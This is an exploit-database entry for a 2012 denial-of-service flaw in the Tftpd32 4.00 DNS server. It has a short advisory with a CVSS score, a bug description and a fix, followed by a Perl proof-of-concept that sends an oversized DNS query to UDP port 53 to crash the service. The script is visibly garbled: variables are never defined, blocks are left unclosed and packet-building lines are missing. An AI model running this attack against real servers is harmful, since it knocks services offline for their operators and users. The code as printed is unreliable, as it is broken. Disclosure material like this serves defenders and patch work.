Tftpd32 DNS Server 4.00 Denial Of Service

ID 1337DAY-ID-18384
Type zdt
Reporter demonalex
Modified 2012-05-29T00:00:00


Exploit for windows platform in category dos / poc

                                            Title: Tftpd32 DNS Server Denial Of Service Vulnerability
Software : Tftpd32
Software Version : v4.00
Vulnerability Published : 2012-05-26
Vulnerability Update Time :
Status :
Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)
Bug Description :
Tftpd32 is a free tftp and dns server for windows, freeware tftp server.
And the dns server would bind udp port 53, but it does not validate the domain option size leading to a Denial Of Service flaw while sending more than 127 characters to it.
Solution :
The tftpd32's dns server can drop the evil request when it was detected the domain option size were longer than 127 characters.
Proof Of Concept :
use IO::Socket;
use Socket;
use Math::BigInt;
$port=shift || '53';
die "usage: $0 \$host [\$port]\n" if(!defined($host));
$target_ip = inet_aton($host);
$target = sockaddr_in($port, $target_ip);
sub dns_struct_pack($){
  $domain=shift;                  #domain
  $type="\x00\xff";               #dns_type = ANY
  $transaction_id_count=1 if($transaction_id_count > 255);
  if($domain ne '0'){
  $class="\x00\x01";                    #IN
  if($domain eq '0'){
  return $packet_struct;
print "Launch attack ... ";
socket(SOCK1, AF_INET, SOCK_DGRAM, 17);
send(SOCK1, &dns_struct_pack($crash), 0, $target);
print "Finish!\n";
Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / [email protected]
Dark2S Security Team/PolyU.HK

# [2018-01-10]  #